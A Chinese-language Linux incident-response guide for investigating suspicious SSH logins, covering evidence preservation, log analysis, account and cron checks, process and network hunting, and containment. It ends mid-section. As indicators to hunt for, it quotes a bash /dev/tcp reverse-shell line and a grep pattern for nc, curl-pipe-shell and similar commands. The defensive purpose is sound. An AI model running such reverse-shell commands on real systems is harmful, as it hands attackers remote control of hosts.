一、问题背景
运维收到一条短信告警:“Accepted publickey for opsuser from 1.2.3.4 port 54321”。来源 IP 是某海外云厂商的 IP 段,时间是凌晨 3 点。opsuser 这个账号到底是不是本人在操作?是不是已经被攻陷了?
类似场景几乎每周都在生产环境发生。任何暴露在公网的主机,每天都会遭受数十万次扫描——字典爆破、撞库、0day 和社工钓鱼,这些攻击手段最终都会在登录日志里留下清晰的足迹。能不能第一时间发现、定位、止血,正是衡量运维基本功的关键指标。
这篇文章不聊那些高大上的安全产品,只聚焦一件事:当你拿到“服务器异常登录”线索后,面对一台已经被盯上的 Linux 主机,如何照着一串命令把现场摸清楚、根因找出来、修复做到位、证据留完整。
排查过程分两条线并行推进:
- 被动验证:日志里已经留下了登录痕迹,你需要判断这些登录是否正常。
- 主动溯源:怀疑系统已被突破,你迫切需要找到攻击者的所有动作、植入的后门、以及横向移动的路径。
这两条线在生产环境里经常纠缠在一起。多数情况是,你先发现了被动线索(如陌生 IP 登录),再顺着这条线索逆推去做主动溯源——这台机器是不是已经成了跳板?有没有被植入诡异的计划任务?是否存在指向 C2 服务器的异常外联?
排查的核心原则必须刻在脑子里:
- 不要在没取证的情况下就直接重启机器。
- 不要在排查过程中执行
rm -rf /tmp/* 或 history -c 这类毁灭性操作。
- 每个动作都必须是可逆、可回滚的。
- 所有命令输出都要保存到带时间戳的备份目录中。
- 涉及 KILL、停服、改防火墙的敏感操作,必须双人复核。
二、适用场景
本文适用于以下情况:
- 监控告警触发 SSH 成功登录异常(表现为陌生 IP、非工作时间活跃、陌生账号)。
/var/log/secure 出现大量 Failed password 后突然紧跟着一条 Accepted password,这是教科书式的爆破成功痕迹。
- 服务器出现可疑进程、可疑外联、可疑定时任务,你怀疑它可能已经被入侵。
- 主机 CPU、内存或带宽出现异常飙升,这可能是被植入了挖矿程序、DDoS 工具或是僵尸网络客户端。
- 核心配置文件被篡改,比如
/etc/ssh/sshd_config 被开启危险选项、/etc/passwd 莫名多了用户、/etc/crontab 被写入可疑任务。
- 主机被安全部门、SOC 或护网行动通报,需要紧急排查。
- 主机被云厂商或威胁情报平台标记为恶意 IP 来源。
- 内网横向移动排查——已知某台主机沦陷,需要快速排查同网段的其他“邻居”。
- 主机被客户或第三方通报存在数据泄露风险。
- 主机下线前的最后一次安全审计。
本文不适用于:
- DDoS 攻击的流量层防护(本文聚焦 SSH 登录与权限层)。
- Web 应用层入侵(如 SQL 注入、WebShell 上传),那需要另一套排查思路。
- 数据库入侵,这应该走数据库自身的审计日志。
- 容器、Serverless 环境的入侵排查。
- 内核态的 rootkit,这类威胁通常需要更专业的内存取证工具介入。
三、核心知识点
3.1 SSH 登录全链路
想排查 SSH 异常登录,你首先得在脑子里把一次完整 SSH 登录所涉及的所有组件“走”一遍:
client ssh/scp/sftp
→ DNS 解析(hostname → IP)
→ TCP 三次握手
→ SSH 协议握手(协议版本、算法协商)
→ 服务器认证(主机密钥)
→ 用户认证(密码 / 公私钥 / keyboard-interactive)
→ PAM 认证(账号、口令、双因素)
→ 审计日志写入(secure / auth.log / auditd)
→ 用户环境加载(profile / .bashrc)
在这条链路的每一环,都有日志可查:
- DNS:
/var/log/messages、systemd-resolved 日志。
- TCP:
/var/log/messages、conntrack 表。
- 协议:
/var/log/secure(sshd 日志)。
- 认证:
/var/log/secure(PAM 日志)。
- 审计:
/var/log/audit/audit.log。
3.2 Linux 登录与会话信息
last:读取 /var/log/wtmp,展示历史成功登录记录。
lastb:读取 /var/log/btmp,展示历史失败登录记录。
lastlog:读取 /var/log/lastlog,展示每个用户的最后一次登录时间。
who:读取 /var/run/utmp,展示当前在线用户。
w:who 的扩展,展示当前在线用户及其当前进程。
ac:显示每个用户的累计在线时长。
utmpdump:将 wtmp/btmp 文件转为可读文本。
这些工具都依赖于 utmp/wtmp/btmp 这三个二进制文件。要知道,攻击者常常会篡改甚至擦除这些文件来隐藏踪迹,所以务必对比它们的时间戳与文件大小。
3.3 SSH 配置文件
核心关注以下几个配置项:
PermitRootLogin:是否允许 root 直接远程登录。
PasswordAuthentication:是否允许使用密码登录。
PubkeyAuthentication:是否允许使用公私钥登录。
AllowUsers / AllowGroups:SSH 登录的用户或组白名单。
MaxAuthTries:单次连接的最大尝试次数。
LoginGraceTime:登录认证的超时时间。
AuthorizedKeysFile:公钥文件的存放路径(默认是 .ssh/authorized_keys)。
在被攻击的主机上,最常见的异常痕迹包括:
PermitRootLogin yes,root 远程登录被暴力开启。
PasswordAuthentication yes,密码登录通道被打开。
AllowUsers / AllowGroups 白名单惨遭删除或注释。
- 新增了来历不明的
Match 代码块。
- 通过引入 include 片段(
/etc/ssh/sshd_config.d/*.conf)悄悄覆盖了主配置。
AuthorizedKeysFile 被篡改为 /tmp/... 等异常路径。
3.4 Linux 账号体系
/etc/passwd:账号基本信息,格式为 username:x:UID:GID:comment:home:shell。
/etc/shadow:账号密码 hash,格式为 username:hash:lastchanged:min:max:warn:inactive:expire。
/etc/group:组信息。
/etc/sudoers / /etc/sudoers.d/*:sudo 授权配置。
/etc/pam.d/:PAM 认证配置。
需要高度警惕的可疑迹象有:
/etc/passwd 中存在 UID 为 0 但用户名却不是 root 的账号。
/etc/passwd 中 shell 为 /bin/bash、/bin/sh,但 home 目录却指向可疑的 /var/...、/tmp/...。
/etc/shadow 中密码字段为空(::)或 *、! 后面跟了异常字符串。
/etc/sudoers.d/ 里冒出了不认识的配置文件。
/etc/group 中 wheel、sudo 组出现了陌生的“成员”。
3.5 计划任务与启动项
- 用户级:
crontab -l、/var/spool/cron/<user>。
- 系统级:
/etc/crontab、/etc/cron.d/、/etc/cron.hourly/、/etc/cron.daily/、/etc/cron.weekly/、/etc/cron.monthly/。
- systemd 定时器:
/etc/systemd/system/*.timer、/usr/lib/systemd/system/*.timer。
- 启动脚本:
/etc/rc.local、/etc/init.d/。
- 开机自启:
systemctl list-unit-files --state=enabled。
.bashrc、.bash_profile、.profile:这些文件在用户登录时会被自动执行,是植入后门的绝佳位置。
3.6 后门检测要点
后门通常会潜伏在以下几个“阴暗角落”:
- SSH 相关:
/etc/ssh/sshd_config、/usr/sbin/sshd、~/.ssh/authorized_keys。
- 二进制替换:
/bin/、/sbin/、/usr/bin/、/usr/sbin/、/usr/lib/、/usr/lib64/。
- 动态库劫持:
/etc/ld.so.preload、LD_PRELOAD。
- 内核模块:
/lib/modules/$(uname -r)/、lsmod、/proc/modules。
- 计划任务:如 3.5 所述。
- 隐藏文件:
/tmp/、/var/tmp/、/dev/shm/。
- 隐藏进程:
ps 命令看不到的幽灵进程。
- 反弹 shell:像
bash -i >& /dev/tcp/<ip>/<port> 0>&1 这类常见的反弹方式。
3.7 文件完整性检测
rpm -Va:RHEL/CentOS 体系下的包文件校验。
debsums -c:Debian/Ubuntu 体系下的包文件校验。
- AIDE:高级入侵检测环境,通过建立基线数据库来对比文件变更。
- Tripwire:一款经典的商业化文件完整性工具。
md5sum / sha256sum:用于手动对比关键文件指纹。
stat:查看文件的 inode、修改时间、访问时间、属性时间。
3.8 网络外联与 C2
攻击者植入后门后,通常会建立以下几种网络通道来维持控制或窃取数据:
- 反弹 shell:
bash -i >& /dev/tcp/C2/443 0>&1。
- HTTP/HTTPS 出网:周期性地向攻击者的 C2 服务器发起 GET/POST 请求。
- DNS tunnel:利用 DNS 查询来隐秘地泄露数据。
- 矿池外联:连接到
pool.minexmr.com 等矿池地址。
- DDoS 工具:连接到 IRC 服务器等待接受攻击指令。
- 内网横向移动:渗透到内网后,利用 SSH、SMB、RDP、WMI、PSExec 等方式进行扩散。
常用的检测工具有:
ss -antp state established:查看所有已建立的 TCP 连接。
netstat -an:经典的网络连接查看工具。
iftop:查看实时网络流量。
nethogs:按进程维度统计网络流量。
tcpdump:进行网络抓包。
conntrack -L:查看内核连接跟踪表。
3.9 rootkit 与内核态后门
chkrootkit:一款经典的用户态 rootkit 检测工具。
rkhunter:rootkit hunter,通过扫描已知的 rootkit 特征来进行检测。
unhide:专门用于查找被隐藏的进程。
/proc/modules vs lsmod:交叉对比二者的输出,以寻找隐藏的内核模块。
- 内存取证工具:
Volatility、Rekall(这部分需要较强的专业背景)。
3.10 应急处置原则
牢记“黄金 30 分钟”原则:
- 立即保全现场(dmesg、journalctl、各类日志、内存快照、网络连接状态)。
- 切断可疑的外联(通过防火墙紧急封禁可疑 IP)。
- 冻结可疑账号(使用
usermod -L 或 passwd -l)。
- 评估实际影响范围(尤其需要排查同网段的其他主机)。
- 立即上报给安全接口人。
- 实施修复(修改口令、重新签发公钥、彻底清理后门)。
- 彻底加固(启用双因素认证、最小化暴露面、部署监控告警)。
- 深刻复盘(运用 5Why 分析法、输出改进项、进行根因分析)。
四、整体排查或实施思路
排查 SSH 异常登录的整体思路可以总结为“由近及远、由浅入深、由系统到进程”:
- 现场保全:第一动作永远是保留证据,切忌重启或清理日志。
- 登录轨迹:从 last/lastb/secure 日志中提取所有登录事件,判断哪些是可疑的。
- 配置核对:检查 sshd_config、PAM、账号、sudo 配置是否被动过手脚。
- 进程维度:用 top、ps、pidstat 找出所有可疑进程。
- 文件维度:借助 find、md5sum、AIDE 揪出所有可疑文件。
- 网络维度:使用 ss、netstat、tcpdump 找出异常外联行为。
- 计划任务:审查
crontab、systemd-timer,定位可疑定时任务。
- 日志审计:检查 secure、auth.log、audit.log、wtmp 的日志完整性。
- 应急处置:断网、冻结、改口令、清理后门,一气呵成。
- 加固:启用双因素、收敛暴露面、完善监控与告警。
- 复盘:输出完整的时间线、根因、影响范围和改进项。
完整的排查路径,可以理解为一个“四圈防御 + 一条纵深”的框架:
- 第一圈(网络):防火墙 / 安全组 / 端口暴露面。
- 第二圈(认证):sshd_config / PAM / 双因素 / 公私钥。
- 第三圈(账号):/etc/passwd / sudo / shadow / 计划任务。
- 第四圈(运行时):进程 / 文件 / 内核模块 / 网络外联。
- 纵深(应急):取证 / 断网 / 修复 / 复盘。
任何一层存在短板,攻击者都可能长驱直入。因此排查时,这每一层都必须毫无遗漏地走一遍,绝不能跳过。
五、实战步骤
5.1 步骤一:现场保全(首要动作)
目的:把所有可能在排查过程中被意外覆盖的关键数据先备份下来,避免任何证据丢失。
# 1. 建立带时间戳的备份目录
TS=$(date +%Y%m%d-%H%M%S)
BACKUP=/var/tmp/incident-$TS
mkdir -p "$BACKUP"/{logs,proc,config,binary,net}
# 2. 备份关键日志
cp -a /var/log/secure "$BACKUP"/logs/ 2>/dev/null
cp -a /var/log/auth.log "$BACKUP"/logs/ 2>/dev/null
cp -a /var/log/messages "$BACKUP"/logs/ 2>/dev/null
cp -a /var/log/audit/audit.log "$BACKUP"/logs/ 2>/dev/null
cp -a /var/log/wtmp "$BACKUP"/logs/ 2>/dev/null
cp -a /var/log/btmp "$BACKUP"/logs/ 2>/dev/null
cp -a /var/log/lastlog "$BACKUP"/logs/ 2>/dev/null
# 3. 备份 dmesg
dmesg -T > "$BACKUP"/logs/dmesg.txt 2>/dev/null
# 4. 备份 journald
journalctl --since "30 days ago" > "$BACKUP"/logs/journalctl-30d.txt 2>/dev/null
# 5. 备份当前进程
ps auxf > "$BACKUP"/proc/ps-auxf.txt
ps -ef > "$BACKUP"/proc/ps-ef.txt
# 6. 备份网络连接
ss -antp > "$BACKUP"/net/ss-antp.txt
ss -s > "$BACKUP"/net/ss-s.txt
netstat -anpt > "$BACKUP"/net/netstat.txt 2>/dev/null
# 7. 备份路由
ip route > "$BACKUP"/net/ip-route.txt
ip rule > "$BACKUP"/net/ip-rule.txt
ip addr > "$BACKUP"/net/ip-addr.txt
# 8. 备份当前在线
who > "$BACKUP"/who.txt
w > "$BACKUP"/w.txt
# 9. 备份关键配置
cp -a /etc/ssh "$BACKUP"/config/
cp -a /etc/pam.d "$BACKUP"/config/
cp -a /etc/passwd "$BACKUP"/config/
cp -a /etc/shadow "$BACKUP"/config/
cp -a /etc/group "$BACKUP"/config/
cp -a /etc/sudoers "$BACKUP"/config/
cp -a /etc/sudoers.d "$BACKUP"/config/
cp -a /etc/crontab "$BACKUP"/config/
cp -a /etc/cron.d "$BACKUP"/config/
cp -a /etc/cron.* "$BACKUP"/config/ 2>/dev/null
cp -a /etc/systemd/system "$BACKUP"/config/system-system 2>/dev/null
cp -a /usr/lib/systemd/system "$BACKUP"/config/system-lib 2>/dev/null
# 10. 备份关键二进制 md5
md5sum /usr/sbin/sshd /usr/bin/ssh /bin/bash /bin/sh /usr/bin/sudo \
/usr/bin/passwd /usr/bin/su /usr/sbin/useradd /usr/sbin/userdel \
/usr/bin/ps /usr/bin/netstat /usr/sbin/iptables \
> "$BACKUP"/binary/md5-baseline.txt 2>/dev/null
# 11. 打包
tar -czf /var/tmp/incident-$TS.tar.gz -C /var/tmp incident-$TS
ls -la /var/tmp/incident-$TS.tar.gz
预期输出:备份目录和压缩包都已齐全。
异常表现:
- 磁盘空间不足:可通过
du -sh /var/log/* 查找大文件进行清理。
- 某些日志文件不存在:不同发行版路径不同,需要做针对性调整。
cp -a 执行报错:检查 SELinux 或 AppArmor 策略。
5.2 步骤二:登录轨迹分析
# 1. 当前在线
who
w
# 2. 最近的登录记录
last -F | head -50
last -F -i | head -50 # 显示 IP(部分系统)
# 3. 最近的失败登录
lastb -F | head -50
lastb -F -i | head -50
# 4. 每个用户最近登录时间
lastlog | head -50
# 5. sshd 日志中的成功登录
grep -E "Accepted" /var/log/secure | tail -50
# 6. sshd 日志中的失败登录
grep -E "Failed password" /var/log/secure | tail -50
# 7. sshd 日志中的认证拒绝
grep -E "Connection closed by authenticating" /var/log/secure | tail -50
# 8. sshd 日志中的用户枚举尝试
grep -E "Invalid user" /var/log/secure | tail -50
# 9. 失败的公钥登录
grep -E "Failed publickey|Authentication refused" /var/log/secure | tail -50
# 10. 用 journald 拉最近 SSH 事件
journalctl -u sshd --since "7 days ago" --no-pager | grep -E "Accepted|Failed|Invalid|Connection closed" | tail -100
# 11. 统计失败次数最多的来源 IP
grep -E "Failed password" /var/log/secure | awk '{for(i=1;i<=NF;i++) if($i=="from") print $(i+1)}' | sort | uniq -c | sort -rn | head -20
# 12. 统计被尝试的账号
grep -E "Failed password|Invalid user" /var/log/secure | awk '{for(i=1;i<=NF;i++) if($i=="for") print $(i+1)}' | sort | uniq -c | sort -rn | head -20
# 13. 时间分布
grep -E "Accepted|Failed" /var/log/secure | awk '{print $1, $2, $3}' | uniq -c | tail -30
预期输出:
last 命令的输出应该显示我们熟悉的运维 IP(如办公网、堡垒机)。
lastb 主要是失败记录,可能存在大量暴力破解的尝试。
lastlog 能清晰显示每个账号的最后登录时间。
- 异常登录特征通常会表现为:非工作时间活跃、来源是陌生 IP、使用了陌生账号。
异常表现:
- 出现了不认识的用户成功登录 → 立即冻结该账号。
- 认识的用户从陌生 IP 成功登录 → 立即通知本人进行确认。
- 非工作时间发生成功登录 → 立即启动排查。
- 在短时间内出现大量失败尝试后,紧接着出现一次成功 → 这是高度疑似爆破成功的信号。
wtmp、btmp、lastlog 文件大小发生异常(被清空或篡改)→ 高度怀疑痕迹已被攻击者清理。
last/lastb 的输出存在时间断层 → 日志文件可能已被截断或篡改。
下一步动作:
- 将筛选出的所有可疑事件详细记录到 incident 报告中。
- 将可疑账号立刻列入冻结名单。
- 进入步骤三,开始进行配置核对。
5.3 步骤三:SSH 与 PAM 配置核对
# 1. sshd_config 当前生效配置
sshd -T | grep -E "^(port|passwordauthentication|permitrootlogin|pubkeyauthentication|allowusers|allowgroups|authorizedkeysfile|logingracetime|maxauthtries|maxstartups|challengeauthentication|kbdinteractiveauthentication|usepam|authenticationmethods)\b"
# 2. 配置文件最近修改时间
stat /etc/ssh/sshd_config
ls -la /etc/ssh/
# 3. 包含的片段
grep -E "^Include" /etc/ssh/sshd_config
ls -la /etc/ssh/sshd_config.d/
# 4. 各片段的内容
for f in /etc/ssh/sshd_config.d/*.conf; do
echo "=== $f ==="
cat "$f"
done
# 5. 主机密钥指纹
for f in /etc/ssh/ssh_host_*_key; do
echo "$f:"
ssh-keygen -lf "$f"
done
# 6. authorized_keys 检查
find / -name authorized_keys -type f 2>/dev/null -exec ls -la {} \;
find / -name authorized_keys -type f 2>/dev/null -exec wc -l {} \;
# 7. 异常 authorized_keys 内容
for f in $(find / -name authorized_keys -type f 2>/dev/null); do
echo "=== $f ==="
cat "$f"
done
# 8. PAM 配置
cat /etc/pam.d/sshd
ls -la /etc/pam.d/sshd
# 9. PAM 模块完整性
for m in pam_unix.so pam_google_authenticator.so pam_faillock.so pam_tally2.so; do
echo "$m:"
find / -name "$m" 2>/dev/null
done
# 10. auditd 是否启用
systemctl status auditd
auditctl -l | grep -E "(sshd_config|sshd|authorized_keys|/etc/passwd)"
预期输出:
PermitRootLogin no、PasswordAuthentication no、PubkeyAuthentication yes,这在加固后是标准配置。
AllowUsers / AllowGroups 已设置明确的访问白名单。
- sshd_config 的最近修改时间应与已知的变更窗口记录吻合。
authorized_keys 文件中只应包含你所熟悉的运维人员公钥。
异常表现:
- 在
authorized_keys 中发现不认识的公钥 → 立即删除。
PermitRootLogin yes → 立即改为 no。
- 存在
Include /etc/ssh/sshd_config.d/*.conf,且其中的片段包含不熟悉的配置 → 立即审查。
- sshd_config 最近被修改,但没有对应的变更单记录 → 立即引起高度怀疑。
- PAM 文件被篡改但无可追溯的变更记录 → 立即怀疑。
- auditd 服务未启用 → 这本身就是一个严重的加固缺陷。
下一步动作:
- 将可疑配置项如实记录。
- 请勿直接修改,务必先做备份。
- 进入步骤四。
5.4 步骤四:账号体系核对
# 1. UID 0 的账号(root 权限)
awk -F: '($3 == 0) {print}' /etc/passwd
# 2. 可登录的账号(bash/sh/zsh/csh)
awk -F: '$7 ~ /(bash|sh|zsh|csh|fish)/ {print}' /etc/passwd
# 3. home 目录异常(/tmp、/var/tmp 等)
awk -F: '$6 ~ /^\/(tmp|var\/tmp|dev\/shm)/ {print}' /etc/passwd
# 4. shadow 文件空密码
awk -F: '($2 == "" || $2 == "!" || $2 == "*" || $2 == "!!") {print $1}' /etc/shadow
# 5. 锁定状态异常
passwd -S -a
# 6. 账号最近修改时间
ls -la /etc/passwd /etc/shadow /etc/group /etc/sudoers
# 7. sudoers 配置
cat /etc/sudoers
ls -la /etc/sudoers.d/
for f in /etc/sudoers.d/*; do
echo "=== $f ==="
cat "$f"
done
# 8. 密码策略
chage -l root
chage -l opsuser
# 对比最近一次改密时间
# 9. 最近新建账号
find /home /root /var -maxdepth 3 -newer /etc/hostname 2>/dev/null | head
# 10. SSH 私钥被复制痕迹
find / -name "id_*" -type f 2>/dev/null
find / -name "*.pem" -type f 2>/dev/null | head
# 11. 用户最近活动
ls -lat /home/*/.bash_history 2>/dev/null
ls -lat /root/.bash_history 2>/dev/null
# 但攻击者常常会清,所以不要把空 history 视为"没事"
预期输出:
- 系统只应有 root 这一个 UID 为 0 的账号。
- 你熟悉的运维账号 shell 应为 bash。
- sudoers 配置符合预期。
- chage 信息与变更窗口保持一致。
异常表现:
- 出现第二个 UID 0 的账号 → 立即锁定(
passwd -l)并排查其来源。
- 出现 home 目录在 /tmp 的账号 → 立即排查。
- 出现任何陌生账号 → 立即锁定。
- sudoers.d 下出现新文件 → 立即审查。
- 近期的配置文件修改时间戳超出了变更窗口 → 高度怀疑非法篡改。
.bash_history 被清空,同时系统又存在爆破成功迹象 → 极大概率已被入侵。
下一步动作:
- 将可疑账号记录到 incident 报告。
- 先不要直接删除账号,执行冻结操作(
passwd -l username 或 usermod -L username)。
- 进入步骤五。
5.5 步骤五:计划任务与启动项核对
# 1. 当前用户的 crontab
crontab -l
crontab -u root -l
crontab -u opsuser -l
# 2. 所有用户的 crontab
for user in $(cut -f1 -d: /etc/passwd); do
echo "=== $user ==="
crontab -u "$user" -l 2>/dev/null
done
# 3. 系统级 crontab
cat /etc/crontab
ls -la /etc/cron.d/
for f in /etc/cron.d/*; do
echo "=== $f ==="
cat "$f"
done
ls -la /etc/cron.hourly/ /etc/cron.daily/ /etc/cron.weekly/ /etc/cron.monthly/
# 4. systemd 定时器
systemctl list-timers --all
ls -la /etc/systemd/system/*.timer 2>/dev/null
ls -la /usr/lib/systemd/system/*.timer 2>/dev/null
# 5. systemd 服务开机自启
systemctl list-unit-files --state=enabled
ls -la /etc/systemd/system/multi-user.target.wants/
# 6. /etc/rc.local
cat /etc/rc.local
ls -la /etc/rc.local
# 7. /etc/init.d
ls -la /etc/init.d/
# 8. 用户登录脚本
ls -la /root/.bashrc /root/.bash_profile /root/.profile /root/.bash_logout
for user in /home/*; do
echo "=== $user ==="
ls -la "$user/.bashrc" "$user/.bash_profile" "$user/.profile" 2>/dev/null
done
# 9. systemd 用户级服务
ls -la /home/*/.config/systemd/user/ 2>/dev/null
# 10. at 队列
atq
ls -la /var/spool/at/ 2>/dev/null
预期输出:
- crontab 内容应与变更窗口的记录相符。
- 没有陌生且奇怪的 systemd timer。
systemctl list-unit-files 没有陌生的服务。
异常表现:
- 出现奇怪的 crontab(指向
/tmp、/dev/shm、/var/tmp 目录的脚本)→ 立即停掉。
- crontab 内容中包含
curl | bash、wget | sh、nc 这类特征命令 → 立即停掉。
- 出现处于异常路径下的 systemd timer → 立即停掉。
.bashrc 文件末尾被悄悄追加了可疑脚本 → 立即排查。
/etc/rc.local 在 RHEL/CentOS 7 上默认无执行权限,如果它突然有内容了 → 立即排查。
5.6 步骤六:进程维度排查
# 1. CPU 占用 TOP 10
top -c -b -n 1 | head -30
# 2. 完整进程树
ps auxf
# 3. 按 CPU 排序
ps -eo pid,ppid,user,pcpu,pmem,etime,args --sort=-pcpu | head -20
# 4. 按内存排序
ps -eo pid,ppid,user,pcpu,pmem,etime,args --sort=-pmem | head -20
# 5. 可疑进程(路径在 /tmp、/var/tmp、/dev/shm)
ps -eo pid,user,args | awk '/\/tmp|\/var\/tmp|\/dev\/shm/ {print}'
# 6. 没有参数或参数奇怪的进程
ps -eo pid,user,args | awk 'NF<5 {print}'
# 7. 已删除可执行文件的进程(被植入内存马)
ls -la /proc/*/exe 2>/dev/null | grep deleted
# 8. KThreads 之外的内核线程(可能有可疑模块)
ps -ef | awk '$3 == 2 {print}'
# 9. 按 PID 详细查看
PID=12345
ls -la /proc/$PID/exe
cat /proc/$PID/status
cat /proc/$PID/cmdline
ls -la /proc/$PID/fd | head -30
cat /proc/$PID/maps | head -10
# 10. 隐藏进程检测
unhide proc
unhide sys
unhide-brute
# 11. 启动时间异常的进程
ps -eo pid,user,lstart,args --sort=lstart | head -20
预期输出:
- 进程列表与安全基线相符。
- CPU/内存占用最高的进程都是你所熟悉的业务进程。
- 在可疑路径下没有发现任何不明进程。
异常表现:
- 发现挖矿进程(如 xmrig、minerd、kdevtmpfsi、kthrotlds 等)→ 立即取证并停掉。
- 出现 nc、ncat、bash -i 等反弹 Shell 特征 → 立即取证。
- 出现 curl/wget 正在下载不明脚本 → 立即停止并取证。
- 进程的 exe 指向
deleted,但进程本身仍在运行 → 这是典型的内存马嫌疑。
- 发现隐藏进程(
unhide 能检出但 ps 看不到)→ 这是严重的 rootkit 嫌疑。
- 某个进程的启动时间,恰好在最近一次爆破成功之后 → 极度高危。
5.7 步骤七:网络外联与可疑流量
# 1. 当前 ESTABLISHED 连接
ss -antp state established
ss -antp state established | awk '{print $5}' | cut -d: -f1 | sort -u
# 2. 按进程统计外联
ss -antp state established | grep -E "users:" | awk '{for(i=1;i<=NF;i++) if($i ~ /users:/) print $(i+1)}' | sort | uniq -c | sort -rn
# 3. UDP 连接
ss -anup state established
# 4. 监听端口
ss -tlnp
# 5. 全连接(包括 LISTEN、ESTABLISHED、CLOSE_WAIT、TIME_WAIT)
ss -anp | head -50
# 6. 路由与 ARP
ip route
ip neigh
# 7. conntrack
conntrack -L 2>/dev/null | head -50
# 8. DNS 解析缓存
journalctl -u systemd-resolved --since "1 day ago" --no-pager | tail -50
# 9. 抓包(紧急情况下短时间抓 30-60s)
tcpdump -i eth0 -nn -s0 -w /tmp/incident-$TS/capture.pcap &
TCPDUMP_PID=$!
sleep 60
kill $TCPDUMP_PID
ls -la /tmp/incident-$TS/capture.pcap
# 10. 进程级流量
nethogs -d 5 -t 2>/dev/null | head -30
# 11. 与威胁情报比对(本地 IP 库或 curl 在线 API)
# 注意:生产环境不要直接在线查询,先在内网 SOC 平台比对
预期输出:
- 所有已建立连接的目标 IP 都是你所熟知的业务 IP。
- 监听端口列表与业务配置相符。
- 路由表一切正常。
异常表现:
- 发现对外连接至矿池、IRC、C2 服务器的异常连接 → 立即取证并断网。
- 出现对内网其他主机的非常规端口连接 → 这是横向移动的重大嫌疑。
- 对 53 端口(DNS)存在大量长连接 → DNS tunnel 嫌疑。
- 出现大量处于 CLOSE_WAIT 状态的连接 → 应用可能未正常关闭,甚至被植入了恶意模块。
- 出现大量 SYN_SENT 状态的连接 → 这可能表明攻击者正在试图主动建立外联,但失败了。
5.8 步骤八:文件系统与可疑文件
# 1. 最近 7 天被修改的文件
find / -mtime -7 -type f -not -path "/proc/*" -not -path "/sys/*" -not -path "/run/*" 2>/dev/null | head -100
# 2. /tmp、/var/tmp、/dev/shm 中的可疑文件
ls -la /tmp/ /var/tmp/ /dev/shm/ 2>/dev/null
# 3. 隐藏文件
find /tmp /var/tmp /dev/shm -name ".*" -type f 2>/dev/null
# 4. SUID/SGID 文件
find / -perm -4000 -type f 2>/dev/null
find / -perm -2000 -type f 2>/dev/null
# 5. 没有任何属主的文件
find / -nouser -o -nogroup 2>/dev/null
# 6. 二进制 hash 与基线对比
md5sum /usr/bin/* /usr/sbin/* /bin/* /sbin/* > /tmp/incident-$TS/md5-current.txt 2>/dev/null
diff /tmp/incident-$TS/md5-baseline.txt /tmp/incident-$TS/md5-current.txt
# 7. RPM 包文件校验
rpm -Va 2>/dev/null | grep -E "^..5" | grep -E "/(usr/)?(s?bin|lib)"
# 8. debsums(Debian/Ubuntu)
debsums -c 2>/dev/null
# 9. LD_PRELOAD 劫持
cat /etc/ld.so.preload 2>/dev/null
ls -la /etc/ld.so.preload 2>/dev/null
# 10. 可疑的脚本文件
find / -type f \( -name "*.sh" -o -name "*.py" -o -name "*.pl" -o -name "*.rb" \) -mtime -7 2>/dev/null | head
# 11. 关键字搜索可疑内容
grep -rl "1.2.3.4" /etc /usr/local /opt /var/www 2>/dev/null | head
grep -rl "nc -e\|bash -i\|curl.*sh\|wget.*sh" /tmp /var/tmp /dev/shm 2>/dev/null | head
# 12. AIDE / Tripwire
aide --check
tripwire --check
预期输出:
- 文件的修改时间均在预期的变更窗口内。
- 没有出现陌生的 SUID 文件。
- 不存在
/etc/ld.so.preload 文件或其内容正常。
- RPM/DEB 包校验全部通过。
异常表现:
- 出现不认识的 SUID 文件 → 立即排查。
- 在 /tmp 目录下发现来历不明的脚本 → 立即取证。
- RPM/DEB 包校验报错(
..5 表示文件大小已改变)→ 立即排查。
- 发现
/etc/ld.so.preload 文件 → 立即排查(这是经典的动态库劫持技术)。
- 关键字搜索命中了反弹 shell 的痕迹 → 立即排查。
5.9 步骤九:日志完整性与时间线
# 1. 日志文件大小与 mtime
ls -la /var/log/secure /var/log/auth.log /var/log/wtmp /var/log/btmp /var/log/lastlog /var/log/audit/audit.log
# 2. 日志被清空/截断的迹象
wc -l /var/log/secure /var/log/auth.log
# 如果一个本来几十 MB 的日志突然变成 0 或几百字节,要警惕
# 3. logrotate 配置
cat /etc/logrotate.conf
cat /etc/logrotate.d/* | grep -A 5 -E "secure|auth"
# 4. 日志完整性(监控日志被删的钩子)
auditctl -w /var/log -p wa -k log_change
# 5. utmpdump 解析二进制日志
utmpdump /var/log/wtmp | tail -50
utmpdump /var/log/btmp | tail -50
# 6. 与远程日志服务器对比
ssh logserver "grep 'Accepted.*$(hostname)' /var/log/remote/*.log"
# 7. 关键事件时间线(用 grep 把所有 Accepted/Failed 拉出来排序)
(grep "Accepted" /var/log/secure; grep "Failed" /var/log/secure) | sort | head -200
# 8. 把时间线写到 incident 报告
cat > /tmp/incident-$TS/timeline.txt <<EOF
=== SSH Login Timeline ===
$(grep -E "Accepted|Failed|Invalid" /var/log/secure | tail -200)
=== Crontab Changes ===
$(ls -la /etc/cron* 2>/dev/null)
=== File Mtime Anomalies ===
$(find /etc /usr/local /var -mtime -3 -type f 2>/dev/null | head -50)
EOF
预期输出:
- 日志大小符合历史基线,没有异常激增或骤减。
- logrotate 配置合理。
utmpdump 的输出与 last/lastb 的结果一致。
- 梳理出的时间线清晰可读。
异常表现:
- 日志文件被突然清空或大小出现异常 → 这往往是攻击者正在清理痕迹。
- 与远程日志服务器对比后发现结果不一致 → 本地日志大概率已被篡改。
- 时间线出现明显断档 → 部分关键事件可能已被删除。
5.10 步骤十:应急处置
处置优先级如下:
- 立即冻结可疑账号:
passwd -l username、usermod -L username。
- 立即暂停(STOP)可疑进程:
kill -STOP PID(先冻结以取证),再 kill -TERM PID。
- 立即断网(需极其谨慎,会严重影响业务):
iptables -I INPUT -s <ip> -j DROP。
- 立即修改所有受影响运维账号的密码,并重新签发公钥。
- 立即清理后门:删除可疑计划任务、可疑 systemd 服务。
- 立即加固:禁用密码登录、限制来源 IP、强制启用双因素认证。
- 立刻通知安全接口人、SOC,必要时通知客户。
- 撰写 incident 报告,内容需包含完整时间线、影响范围、根因、修复措施及改进项。
# 冻结账号
passwd -l attacker_user
usermod -L attacker_user
# 删除公钥
sed -i '/^ssh-ed25519.*AAA...$/d' /home/opsuser/.ssh/authorized_keys
# 停掉可疑进程(先用 STOP 留证据)
kill -STOP <PID>
sleep 5
cat /proc/<PID>/maps > /tmp/incident-$TS/maps-PID.txt
kill -TERM <PID>
# 强制 kill(慎用)
kill -9 <PID>
# 断网(封禁可疑 IP)
iptables -I INPUT -s <attacker_ip> -j DROP
ip6tables -I INPUT -s <attacker_ip> -j DROP
# 断本机所有外网(极端情况)
